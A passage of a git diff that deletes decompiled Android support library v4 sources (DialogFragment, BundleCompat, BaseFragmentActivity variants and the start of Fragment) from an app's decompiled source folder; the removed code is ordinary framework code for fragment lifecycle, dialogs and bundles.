this.mSharedElementTargetNames; - backStackRecord.bumpBackStackNesting(1); - return backStackRecord; - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeIntArray(this.mOps); - parcel.writeInt(this.mTransition); - parcel.writeInt(this.mTransitionStyle); - parcel.writeString(this.mName); - parcel.writeInt(this.mIndex); - parcel.writeInt(this.mBreadCrumbTitleRes); - TextUtils.writeToParcel(this.mBreadCrumbTitleText, parcel, 0); - parcel.writeInt(this.mBreadCrumbShortTitleRes); - TextUtils.writeToParcel(this.mBreadCrumbShortTitleText, parcel, 0); - parcel.writeStringList(this.mSharedElementSourceNames); - parcel.writeStringList(this.mSharedElementTargetNames); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/BaseFragmentActivityGingerbread.java b/apk_3230/decompiled_source/sources/android/support/v4/app/BaseFragmentActivityGingerbread.java deleted file mode 100644 index a63f016..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/BaseFragmentActivityGingerbread.java +++ /dev/null @@ -1,44 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.Context; -import android.content.Intent; -import android.content.IntentSender; -import android.os.Bundle; -import android.support.v4.internal.view.SupportMenu; -import android.util.AttributeSet; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -abstract class BaseFragmentActivityGingerbread extends Activity { - boolean mStartedIntentSenderFromFragment; - - /* JADX INFO: Access modifiers changed from: package-private */ - public abstract View dispatchFragmentsOnCreateView(View view, String str, Context context, AttributeSet attributeSet); - - /* JADX INFO: Access modifiers changed from: protected */ - @Override // android.app.Activity - public void onCreate(Bundle bundle) { - super.onCreate(bundle); - } - - @Override // android.app.Activity, android.view.LayoutInflater.Factory - public View onCreateView(String str, Context context, AttributeSet attributeSet) { - View dispatchFragmentsOnCreateView = dispatchFragmentsOnCreateView(null, str, context, attributeSet); - return dispatchFragmentsOnCreateView == null ? super.onCreateView(str, context, attributeSet) : dispatchFragmentsOnCreateView; - } - - @Override // android.app.Activity - public void startIntentSenderForResult(IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4) throws IntentSender.SendIntentException { - if (!this.mStartedIntentSenderFromFragment && i != -1) { - checkForValidRequestCode(i); - } - super.startIntentSenderForResult(intentSender, i, intent, i2, i3, i4); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void checkForValidRequestCode(int i) { - if ((i & SupportMenu.CATEGORY_MASK) != 0) { - throw new IllegalArgumentException("Can only use lower 16 bits for requestCode"); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/BaseFragmentActivityHoneycomb.java b/apk_3230/decompiled_source/sources/android/support/v4/app/BaseFragmentActivityHoneycomb.java deleted file mode 100644 index 587ddc5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/BaseFragmentActivityHoneycomb.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.app; - -import android.content.Context; -import android.util.AttributeSet; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -abstract class BaseFragmentActivityHoneycomb extends BaseFragmentActivityGingerbread { - @Override // android.app.Activity, android.view.LayoutInflater.Factory2 - public View onCreateView(View view, String str, Context context, AttributeSet attributeSet) { - View dispatchFragmentsOnCreateView = dispatchFragmentsOnCreateView(view, str, context, attributeSet); - return dispatchFragmentsOnCreateView == null ? super.onCreateView(view, str, context, attributeSet) : dispatchFragmentsOnCreateView; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/BaseFragmentActivityJB.java b/apk_3230/decompiled_source/sources/android/support/v4/app/BaseFragmentActivityJB.java deleted file mode 100644 index 9a56be7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/BaseFragmentActivityJB.java +++ /dev/null @@ -1,25 +0,0 @@ -package android.support.v4.app; - -import android.content.Intent; -import android.content.IntentSender; -import android.os.Bundle; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -abstract class BaseFragmentActivityJB extends BaseFragmentActivityHoneycomb { - boolean mStartedActivityFromFragment; - - @Override // android.app.Activity - public void startActivityForResult(Intent intent, int i, Bundle bundle) { - if (!this.mStartedActivityFromFragment && i != -1) { - checkForValidRequestCode(i); - } - super.startActivityForResult(intent, i, bundle); - } - - @Override // android.app.Activity - public void startIntentSenderForResult(IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4, Bundle bundle) throws IntentSender.SendIntentException { - if (!this.mStartedIntentSenderFromFragment && i != -1) { - checkForValidRequestCode(i); - } - super.startIntentSenderForResult(intentSender, i, intent, i2, i3, i4, bundle); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/BundleCompat.java b/apk_3230/decompiled_source/sources/android/support/v4/app/BundleCompat.java deleted file mode 100644 index 464a693..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/BundleCompat.java +++ /dev/null @@ -1,17 +0,0 @@ -package android.support.v4.app; - -import android.os.Bundle; -import android.os.IBinder; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BundleCompat { - private BundleCompat() { - } - - public static IBinder getBinder(Bundle bundle, String str) { - return BundleCompatJellybeanMR2.getBinder(bundle, str); - } - - public static void putBinder(Bundle bundle, String str, IBinder iBinder) { - BundleCompatJellybeanMR2.putBinder(bundle, str, iBinder); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/BundleCompatGingerbread.java b/apk_3230/decompiled_source/sources/android/support/v4/app/BundleCompatGingerbread.java deleted file mode 100644 index ad5001b..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/BundleCompatGingerbread.java +++ /dev/null @@ -1,63 +0,0 @@ -package android.support.v4.app; - -import android.os.Bundle; -import android.os.IBinder; -import android.util.Log; -import java.lang.reflect.InvocationTargetException; -import java.lang.reflect.Method; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class BundleCompatGingerbread { - private static final String TAG = "BundleCompatGingerbread"; - private static Method sGetIBinderMethod; - private static boolean sGetIBinderMethodFetched; - private static Method sPutIBinderMethod; - private static boolean sPutIBinderMethodFetched; - - BundleCompatGingerbread() { - } - - public static IBinder getBinder(Bundle bundle, String str) { - if (!sGetIBinderMethodFetched) { - try { - Method method = Bundle.class.getMethod("getIBinder", String.class); - sGetIBinderMethod = method; - method.setAccessible(true); - } catch (NoSuchMethodException e) { - Log.i(TAG, "Failed to retrieve getIBinder method", e); - } - sGetIBinderMethodFetched = true; - } - Method method2 = sGetIBinderMethod; - if (method2 != null) { - try { - return (IBinder) method2.invoke(bundle, str); - } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e2) { - Log.i(TAG, "Failed to invoke getIBinder via reflection", e2); - sGetIBinderMethod = null; - } - } - return null; - } - - public static void putBinder(Bundle bundle, String str, IBinder iBinder) { - if (!sPutIBinderMethodFetched) { - try { - Method method = Bundle.class.getMethod("putIBinder", String.class, IBinder.class); - sPutIBinderMethod = method; - method.setAccessible(true); - } catch (NoSuchMethodException e) { - Log.i(TAG, "Failed to retrieve putIBinder method", e); - } - sPutIBinderMethodFetched = true; - } - Method method2 = sPutIBinderMethod; - if (method2 != null) { - try { - method2.invoke(bundle, str, iBinder); - } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e2) { - Log.i(TAG, "Failed to invoke putIBinder via reflection", e2); - sPutIBinderMethod = null; - } - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/BundleCompatJellybeanMR2.java b/apk_3230/decompiled_source/sources/android/support/v4/app/BundleCompatJellybeanMR2.java deleted file mode 100644 index 32c8169..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/BundleCompatJellybeanMR2.java +++ /dev/null @@ -1,17 +0,0 @@ -package android.support.v4.app; - -import android.os.Bundle; -import android.os.IBinder; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class BundleCompatJellybeanMR2 { - BundleCompatJellybeanMR2() { - } - - public static IBinder getBinder(Bundle bundle, String str) { - return bundle.getBinder(str); - } - - public static void putBinder(Bundle bundle, String str, IBinder iBinder) { - bundle.putBinder(str, iBinder); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/BundleUtil.java b/apk_3230/decompiled_source/sources/android/support/v4/app/BundleUtil.java deleted file mode 100644 index 5887756..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/BundleUtil.java +++ /dev/null @@ -1,20 +0,0 @@ -package android.support.v4.app; - -import android.os.Bundle; -import android.os.Parcelable; -import java.util.Arrays; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class BundleUtil { - BundleUtil() { - } - - public static Bundle[] getBundleArrayFromBundle(Bundle bundle, String str) { - Parcelable[] parcelableArray = bundle.getParcelableArray(str); - if ((parcelableArray instanceof Bundle[]) || parcelableArray == null) { - return (Bundle[]) parcelableArray; - } - Bundle[] bundleArr = (Bundle[]) Arrays.copyOf(parcelableArray, parcelableArray.length, Bundle[].class); - bundle.putParcelableArray(str, bundleArr); - return bundleArr; - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/DialogFragment.java b/apk_3230/decompiled_source/sources/android/support/v4/app/DialogFragment.java deleted file mode 100644 index b670f94..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/DialogFragment.java +++ /dev/null @@ -1,277 +0,0 @@ -package android.support.v4.app; - -import android.app.Dialog; -import android.content.Context; -import android.content.DialogInterface; -import android.os.Bundle; -import android.view.LayoutInflater; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class DialogFragment extends Fragment implements DialogInterface.OnCancelListener, DialogInterface.OnDismissListener { - private static final String SAVED_BACK_STACK_ID = "android:backStackId"; - private static final String SAVED_CANCELABLE = "android:cancelable"; - private static final String SAVED_DIALOG_STATE_TAG = "android:savedDialogState"; - private static final String SAVED_SHOWS_DIALOG = "android:showsDialog"; - private static final String SAVED_STYLE = "android:style"; - private static final String SAVED_THEME = "android:theme"; - public static final int STYLE_NORMAL = 0; - public static final int STYLE_NO_FRAME = 2; - public static final int STYLE_NO_INPUT = 3; - public static final int STYLE_NO_TITLE = 1; - Dialog mDialog; - boolean mDismissed; - boolean mShownByMe; - boolean mViewDestroyed; - int mStyle = 0; - int mTheme = 0; - boolean mCancelable = true; - boolean mShowsDialog = true; - int mBackStackId = -1; - - @Override // android.content.DialogInterface.OnCancelListener - public void onCancel(DialogInterface dialogInterface) { - } - - public void setStyle(int i, int i2) { - this.mStyle = i; - if (i == 2 || i == 3) { - this.mTheme = 16973913; - } - if (i2 != 0) { - this.mTheme = i2; - } - } - - public void show(FragmentManager fragmentManager, String str) { - this.mDismissed = false; - this.mShownByMe = true; - FragmentTransaction beginTransaction = fragmentManager.beginTransaction(); - beginTransaction.add(this, str); - beginTransaction.commit(); - } - - public int show(FragmentTransaction fragmentTransaction, String str) { - this.mDismissed = false; - this.mShownByMe = true; - fragmentTransaction.add(this, str); - this.mViewDestroyed = false; - int commit = fragmentTransaction.commit(); - this.mBackStackId = commit; - return commit; - } - - public void dismiss() { - dismissInternal(false); - } - - public void dismissAllowingStateLoss() { - dismissInternal(true); - } - - void dismissInternal(boolean z) { - if (this.mDismissed) { - return; - } - this.mDismissed = true; - this.mShownByMe = false; - Dialog dialog = this.mDialog; - if (dialog != null) { - dialog.dismiss(); - this.mDialog = null; - } - this.mViewDestroyed = true; - if (this.mBackStackId >= 0) { - getFragmentManager().popBackStack(this.mBackStackId, 1); - this.mBackStackId = -1; - return; - } - FragmentTransaction beginTransaction = getFragmentManager().beginTransaction(); - beginTransaction.remove(this); - if (z) { - beginTransaction.commitAllowingStateLoss(); - } else { - beginTransaction.commit(); - } - } - - public Dialog getDialog() { - return this.mDialog; - } - - public int getTheme() { - return this.mTheme; - } - - public void setCancelable(boolean z) { - this.mCancelable = z; - Dialog dialog = this.mDialog; - if (dialog != null) { - dialog.setCancelable(z); - } - } - - public boolean isCancelable() { - return this.mCancelable; - } - - public void setShowsDialog(boolean z) { - this.mShowsDialog = z; - } - - public boolean getShowsDialog() { - return this.mShowsDialog; - } - - @Override // android.support.v4.app.Fragment - public void onAttach(Context context) { - super.onAttach(context); - if (this.mShownByMe) { - return; - } - this.mDismissed = false; - } - - @Override // android.support.v4.app.Fragment - public void onDetach() { - super.onDetach(); - if (this.mShownByMe || this.mDismissed) { - return; - } - this.mDismissed = true; - } - - @Override // android.support.v4.app.Fragment - public void onCreate(Bundle bundle) { - super.onCreate(bundle); - this.mShowsDialog = this.mContainerId == 0; - if (bundle != null) { - this.mStyle = bundle.getInt(SAVED_STYLE, 0); - this.mTheme = bundle.getInt(SAVED_THEME, 0); - this.mCancelable = bundle.getBoolean(SAVED_CANCELABLE, true); - this.mShowsDialog = bundle.getBoolean(SAVED_SHOWS_DIALOG, this.mShowsDialog); - this.mBackStackId = bundle.getInt(SAVED_BACK_STACK_ID, -1); - } - } - - @Override // android.support.v4.app.Fragment - public LayoutInflater getLayoutInflater(Bundle bundle) { - if (!this.mShowsDialog) { - return super.getLayoutInflater(bundle); - } - Dialog onCreateDialog = onCreateDialog(bundle); - this.mDialog = onCreateDialog; - if (onCreateDialog == null) { - return (LayoutInflater) this.mHost.getContext().getSystemService("layout_inflater"); - } - setupDialog(onCreateDialog, this.mStyle); - return (LayoutInflater) this.mDialog.getContext().getSystemService("layout_inflater"); - } - - public void setupDialog(Dialog dialog, int i) { - if (i != 1 && i != 2) { - if (i != 3) { - return; - } - dialog.getWindow().addFlags(24); - } - dialog.requestWindowFeature(1); - } - - public Dialog onCreateDialog(Bundle bundle) { - return new Dialog(getActivity(), getTheme()); - } - - @Override // android.content.DialogInterface.OnDismissListener - public void onDismiss(DialogInterface dialogInterface) { - if (this.mViewDestroyed) { - return; - } - dismissInternal(true); - } - - @Override // android.support.v4.app.Fragment - public void onActivityCreated(Bundle bundle) { - Bundle bundle2; - super.onActivityCreated(bundle); - if (this.mShowsDialog) { - View view = getView(); - if (view != null) { - if (view.getParent() != null) { - throw new IllegalStateException("DialogFragment can not be attached to a container view"); - } - this.mDialog.setContentView(view); - } - FragmentActivity activity = getActivity(); - if (activity != null) { - this.mDialog.setOwnerActivity(activity); - } - this.mDialog.setCancelable(this.mCancelable); - this.mDialog.setOnCancelListener(this); - this.mDialog.setOnDismissListener(this); - if (bundle == null || (bundle2 = bundle.getBundle(SAVED_DIALOG_STATE_TAG)) == null) { - return; - } - this.mDialog.onRestoreInstanceState(bundle2); - } - } - - @Override // android.support.v4.app.Fragment - public void onStart() { - super.onStart(); - Dialog dialog = this.mDialog; - if (dialog != null) { - this.mViewDestroyed = false; - dialog.show(); - } - } - - @Override // android.support.v4.app.Fragment - public void onSaveInstanceState(Bundle bundle) { - Bundle onSaveInstanceState; - super.onSaveInstanceState(bundle); - Dialog dialog = this.mDialog; - if (dialog != null && (onSaveInstanceState = dialog.onSaveInstanceState()) != null) { - bundle.putBundle(SAVED_DIALOG_STATE_TAG, onSaveInstanceState); - } - int i = this.mStyle; - if (i != 0) { - bundle.putInt(SAVED_STYLE, i); - } - int i2 = this.mTheme; - if (i2 != 0) { - bundle.putInt(SAVED_THEME, i2); - } - boolean z = this.mCancelable; - if (!z) { - bundle.putBoolean(SAVED_CANCELABLE, z); - } - boolean z2 = this.mShowsDialog; - if (!z2) { - bundle.putBoolean(SAVED_SHOWS_DIALOG, z2); - } - int i3 = this.mBackStackId; - if (i3 != -1) { - bundle.putInt(SAVED_BACK_STACK_ID, i3); - } - } - - @Override // android.support.v4.app.Fragment - public void onStop() { - super.onStop(); - Dialog dialog = this.mDialog; - if (dialog != null) { - dialog.hide(); - } - } - - @Override // android.support.v4.app.Fragment - public void onDestroyView() { - super.onDestroyView(); - Dialog dialog = this.mDialog; - if (dialog != null) { - this.mViewDestroyed = true; - dialog.dismiss(); - this.mDialog = null; - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/app/Fragment.java b/apk_3230/decompiled_source/sources/android/support/v4/app/Fragment.java deleted file mode 100644 index 48fd9c3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/app/Fragment.java +++ /dev/null @@ -1,1245 +0,0 @@ -package android.support.v4.app; - -import android.app.Activity; -import android.content.ComponentCallbacks; -import android.content.Context; -import android.content.Intent; -import android.content.IntentSender; -import android.content.res.Configuration; -import android.content.res.Resources; -import android.os.Bundle; -import android.os.Parcel; -import android.os.Parcelable; -import android.support.v4.util.DebugUtils; -import android.support.v4.util.SimpleArrayMap; -import android.support.v4.view.LayoutInflaterCompat; -import android.util.AttributeSet; -import android.util.SparseArray; -import android.view.ContextMenu; -import android.view.LayoutInflater; -import android.view.Menu; -import android.view.MenuInflater; -import android.view.MenuItem; -import android.view.View; -import android.view.ViewGroup; -import android.view.animation.Animation; -import java.io.FileDescriptor; -import java.io.PrintWriter; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public class Fragment implements ComponentCallbacks, View.OnCreateContextMenuListener { - static final int ACTIVITY_CREATED = 2; - static final int CREATED = 1; - static final int INITIALIZING = 0; - static final int RESUMED = 5; - static final int STARTED = 4; - static final int STOPPED = 3; - boolean mAdded; - Boolean mAllowEnterTransitionOverlap; - Boolean mAllowReturnTransitionOverlap; - View mAnimatingAway; - Bundle mArguments; - int mBackStackNesting; - boolean mCalled; - boolean mCheckedForLoaderManager; - FragmentManagerImpl mChildFragmentManager; - FragmentManagerNonConfig mChildNonConfig; - ViewGroup mContainer; - int mContainerId; - boolean mDeferStart; - boolean mDetached; - SharedElementCallback mEnterTransitionCallback; - Object mExitTransition; - SharedElementCallback mExitTransitionCallback; - int mFragmentId; - FragmentManagerImpl mFragmentManager; - boolean mFromLayout; - boolean mHasMenu; - boolean mHidden; - FragmentHostCallback mHost; - boolean mInLayout; - View mInnerView; - LoaderManagerImpl mLoaderManager; - boolean mLoadersStarted; - int mNextAnim; - Fragment mParentFragment; - Object mReenterTransition; - boolean mRemoving; - boolean mRestored; - boolean mRetainInstance; - boolean mRetaining; - Object mReturnTransition; - Bundle mSavedFragmentState; - SparseArray mSavedViewState; - Object mSharedElementEnterTransition; - Object mSharedElementReturnTransition; - int mStateAfterAnimating; - String mTag; - Fragment mTarget; - int mTargetRequestCode; - View mView; - String mWho; - private static final SimpleArrayMap> sClassMap = new SimpleArrayMap<>(); - static final Object USE_DEFAULT_TRANSITION = new Object(); - int mState = 0; - int mIndex = -1; - int mTargetIndex = -1; - boolean mMenuVisible = true; - boolean mUserVisibleHint = true; - Object mEnterTransition = null; - - public void onActivityResult(int i, int i2, Intent intent) { - } - - public void onAttachFragment(Fragment fragment) { - } - - public boolean onContextItemSelected(MenuItem menuItem) { - return false; - } - - public Animation onCreateAnimation(int i, boolean z, int i2) { - return null; - } - - public void onCreateOptionsMenu(Menu menu, MenuInflater menuInflater) { - } - - public View onCreateView(LayoutInflater layoutInflater, ViewGroup viewGroup, Bundle bundle) { - return null; - } - - public void onDestroyOptionsMenu() { - } - - public void onHiddenChanged(boolean z) { - } - - public void onMultiWindowModeChanged(boolean z) { - } - - public boolean onOptionsItemSelected(MenuItem menuItem) { - return false; - } - - public void onOptionsMenuClosed(Menu menu) { - } - - public void onPictureInPictureModeChanged(boolean z) { - } - - public void onPrepareOptionsMenu(Menu menu) { - } - - public void onRequestPermissionsResult(int i, String[] strArr, int[] iArr) { - } - - public void onSaveInstanceState(Bundle bundle) { - } - - public void onViewCreated(View view, Bundle bundle) { - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class SavedState implements Parcelable { - public static final Parcelable.Creator CREATOR = new Parcelable.Creator() { // from class: android.support.v4.app.Fragment.SavedState.1 - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public SavedState createFromParcel(Parcel parcel) { - return new SavedState(parcel, null); - } - - /* JADX WARN: Can't rename method to resolve collision */ - @Override // android.os.Parcelable.Creator - public SavedState[] newArray(int i) { - return new SavedState[i]; - } - }; - final Bundle mState; - - @Override // android.os.Parcelable - public int describeContents() { - return 0; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public SavedState(Bundle bundle) { - this.mState = bundle; - } - - SavedState(Parcel parcel, ClassLoader classLoader) { - Bundle readBundle = parcel.readBundle(); - this.mState = readBundle; - if (classLoader == null || readBundle == null) { - return; - } - readBundle.setClassLoader(classLoader); - } - - @Override // android.os.Parcelable - public void writeToParcel(Parcel parcel, int i) { - parcel.writeBundle(this.mState); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public static class InstantiationException extends RuntimeException { - public InstantiationException(String str, Exception exc) { - super(str, exc); - } - } - - public Fragment() { - Object obj = USE_DEFAULT_TRANSITION; - this.mReturnTransition = obj; - this.mExitTransition = null; - this.mReenterTransition = obj; - this.mSharedElementEnterTransition = null; - this.mSharedElementReturnTransition = obj; - this.mEnterTransitionCallback = null; - this.mExitTransitionCallback = null; - } - - public static Fragment instantiate(Context context, String str) { - return instantiate(context, str, null); - } - - public static Fragment instantiate(Context context, String str, Bundle bundle) { - try { - SimpleArrayMap> simpleArrayMap = sClassMap; - Class cls = simpleArrayMap.get(str); - if (cls == null) { - cls = context.getClassLoader().loadClass(str); - simpleArrayMap.put(str, cls); - } - Fragment fragment = (Fragment) cls.newInstance(); - if (bundle != null) { - bundle.setClassLoader(fragment.getClass().getClassLoader()); - fragment.mArguments = bundle; - } - return fragment; - } catch (ClassNotFoundException e) { - throw new InstantiationException("Unable to instantiate fragment " + str + ": make sure class name exists, is public, and has an empty constructor that is public", e); - } catch (IllegalAccessException e2) { - throw new InstantiationException("Unable to instantiate fragment " + str + ": make sure class name exists, is public, and has an empty constructor that is public", e2); - } catch (java.lang.InstantiationException e3) { - throw new InstantiationException("Unable to instantiate fragment " + str + ": make sure class name exists, is public, and has an empty constructor that is public", e3); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static boolean isSupportFragmentClass(Context context, String str) { - try { - SimpleArrayMap> simpleArrayMap = sClassMap; - Class cls = simpleArrayMap.get(str); - if (cls == null) { - cls = context.getClassLoader().loadClass(str); - simpleArrayMap.put(str, cls); - } - return Fragment.class.isAssignableFrom(cls); - } catch (ClassNotFoundException unused) { - return false; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public final void restoreViewState(Bundle bundle) { - SparseArray sparseArray = this.mSavedViewState; - if (sparseArray != null) { - this.mInnerView.restoreHierarchyState(sparseArray); - this.mSavedViewState = null; - } - this.mCalled = false; - onViewStateRestored(bundle); - if (!this.mCalled) { - throw new SuperNotCalledException("Fragment " + this + " did not call through to super.onViewStateRestored()"); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public final void setIndex(int i, Fragment fragment) { - this.mIndex = i; - if (fragment != null) { - this.mWho = fragment.mWho + ":" + this.mIndex; - } else { - this.mWho = "android:fragment:" + this.mIndex; - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public final boolean isInBackStack() { - return this.mBackStackNesting > 0; - } - - public final boolean equals(Object obj) { - return super.equals(obj); - } - - public final int hashCode() { - return super.hashCode(); - } - - public String toString() { - StringBuilder sb = new StringBuilder(128); - DebugUtils.buildShortClassTag(this, sb); - if (this.mIndex >= 0) { - sb.append(" #"); - sb.append(this.mIndex); - } - if (this.mFragmentId != 0) { - sb.append(" id=0x"); - sb.append(Integer.toHexString(this.mFragmentId)); - } - if (this.mTag != null) { - sb.append(" "); - sb.append(this.mTag); - } - sb.append('}'); - return sb.toString(); - } - - public final int getId() { - return this.mFragmentId; - } - - public final String getTag() { - return this.mTag; - } - - public void setArguments(Bundle bundle) { - if (this.mIndex >= 0) { - throw new IllegalStateException("Fragment already active"); - } - this.mArguments = bundle; - } - - public final Bundle getArguments() { - return this.mArguments; - } - - public void setInitialSavedState(SavedState savedState) { - if (this.mIndex >= 0) { - throw new IllegalStateException("Fragment already active"); - } - this.mSavedFragmentState = (savedState == null || savedState.mState == null) ? null : savedState.mState; - } - - public void setTargetFragment(Fragment fragment, int i) { - this.mTarget = fragment; - this.mTargetRequestCode = i; - } - - public final Fragment getTargetFragment() { - return this.mTarget; - } - - public final int getTargetRequestCode() { - return this.mTargetRequestCode; - } - - public Context getContext() { - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback == null) { - return null; - } - return fragmentHostCallback.getContext(); - } - - public final FragmentActivity getActivity() { - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback == null) { - return null; - } - return (FragmentActivity) fragmentHostCallback.getActivity(); - } - - public final Object getHost() { - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback == null) { - return null; - } - return fragmentHostCallback.onGetHost(); - } - - public final Resources getResources() { - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback == null) { - throw new IllegalStateException("Fragment " + this + " not attached to Activity"); - } - return fragmentHostCallback.getContext().getResources(); - } - - public final CharSequence getText(int i) { - return getResources().getText(i); - } - - public final String getString(int i) { - return getResources().getString(i); - } - - public final String getString(int i, Object... objArr) { - return getResources().getString(i, objArr); - } - - public final FragmentManager getFragmentManager() { - return this.mFragmentManager; - } - - public final FragmentManager getChildFragmentManager() { - if (this.mChildFragmentManager == null) { - instantiateChildFragmentManager(); - int i = this.mState; - if (i >= 5) { - this.mChildFragmentManager.dispatchResume(); - } else if (i >= 4) { - this.mChildFragmentManager.dispatchStart(); - } else if (i >= 2) { - this.mChildFragmentManager.dispatchActivityCreated(); - } else if (i >= 1) { - this.mChildFragmentManager.dispatchCreate(); - } - } - return this.mChildFragmentManager; - } - - public final Fragment getParentFragment() { - return this.mParentFragment; - } - - public final boolean isAdded() { - return this.mHost != null && this.mAdded; - } - - public final boolean isDetached() { - return this.mDetached; - } - - public final boolean isRemoving() { - return this.mRemoving; - } - - public final boolean isInLayout() { - return this.mInLayout; - } - - public final boolean isResumed() { - return this.mState >= 5; - } - - public final boolean isVisible() { - View view; - return (!isAdded() || isHidden() || (view = this.mView) == null || view.getWindowToken() == null || this.mView.getVisibility() != 0) ? false : true; - } - - public final boolean isHidden() { - return this.mHidden; - } - - public final boolean hasOptionsMenu() { - return this.mHasMenu; - } - - public final boolean isMenuVisible() { - return this.mMenuVisible; - } - - public void setRetainInstance(boolean z) { - this.mRetainInstance = z; - } - - public final boolean getRetainInstance() { - return this.mRetainInstance; - } - - public void setHasOptionsMenu(boolean z) { - if (this.mHasMenu != z) { - this.mHasMenu = z; - if (!isAdded() || isHidden()) { - return; - } - this.mHost.onSupportInvalidateOptionsMenu(); - } - } - - public void setMenuVisibility(boolean z) { - if (this.mMenuVisible != z) { - this.mMenuVisible = z; - if (this.mHasMenu && isAdded() && !isHidden()) { - this.mHost.onSupportInvalidateOptionsMenu(); - } - } - } - - public void setUserVisibleHint(boolean z) { - if (!this.mUserVisibleHint && z && this.mState < 4 && this.mFragmentManager != null && isAdded()) { - this.mFragmentManager.performPendingDeferredStart(this); - } - this.mUserVisibleHint = z; - this.mDeferStart = this.mState < 4 && !z; - } - - public boolean getUserVisibleHint() { - return this.mUserVisibleHint; - } - - public LoaderManager getLoaderManager() { - LoaderManagerImpl loaderManagerImpl = this.mLoaderManager; - if (loaderManagerImpl != null) { - return loaderManagerImpl; - } - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback == null) { - throw new IllegalStateException("Fragment " + this + " not attached to Activity"); - } - this.mCheckedForLoaderManager = true; - LoaderManagerImpl loaderManager = fragmentHostCallback.getLoaderManager(this.mWho, this.mLoadersStarted, true); - this.mLoaderManager = loaderManager; - return loaderManager; - } - - public void startActivity(Intent intent) { - startActivity(intent, null); - } - - public void startActivity(Intent intent, Bundle bundle) { - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback == null) { - throw new IllegalStateException("Fragment " + this + " not attached to Activity"); - } - fragmentHostCallback.onStartActivityFromFragment(this, intent, -1, bundle); - } - - public void startActivityForResult(Intent intent, int i) { - startActivityForResult(intent, i, null); - } - - public void startActivityForResult(Intent intent, int i, Bundle bundle) { - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback == null) { - throw new IllegalStateException("Fragment " + this + " not attached to Activity"); - } - fragmentHostCallback.onStartActivityFromFragment(this, intent, i, bundle); - } - - public void startIntentSenderForResult(IntentSender intentSender, int i, Intent intent, int i2, int i3, int i4, Bundle bundle) throws IntentSender.SendIntentException { - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback == null) { - throw new IllegalStateException("Fragment " + this + " not attached to Activity"); - } - fragmentHostCallback.onStartIntentSenderFromFragment(this, intentSender, i, intent, i2, i3, i4, bundle); - } - - public final void requestPermissions(String[] strArr, int i) { - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback == null) { - throw new IllegalStateException("Fragment " + this + " not attached to Activity"); - } - fragmentHostCallback.onRequestPermissionsFromFragment(this, strArr, i); - } - - public boolean shouldShowRequestPermissionRationale(String str) { - FragmentHostCallback fragmentHostCallback = this.mHost; - if (fragmentHostCallback != null) { - return fragmentHostCallback.onShouldShowRequestPermissionRationale(str); - } - return false; - } - - public LayoutInflater getLayoutInflater(Bundle bundle) { - LayoutInflater onGetLayoutInflater = this.mHost.onGetLayoutInflater(); - getChildFragmentManager(); - LayoutInflaterCompat.setFactory(onGetLayoutInflater, this.mChildFragmentManager.getLayoutInflaterFactory()); - return onGetLayoutInflater; - } - - public void onInflate(Context context, AttributeSet attributeSet, Bundle bundle) { - this.mCalled = true; - FragmentHostCallback fragmentHostCallback = this.mHost; - Activity activity = fragmentHostCallback == null ? null : fragmentHostCallback.getActivity(); - if (activity != null) { - this.mCalled = false; - onInflate(activity, attributeSet, bundle); - } - } - - @Deprecated - public void onInflate(Activity activity, AttributeSet attributeSet, Bundle bundle) { - this.mCalled = true; - } - - public void 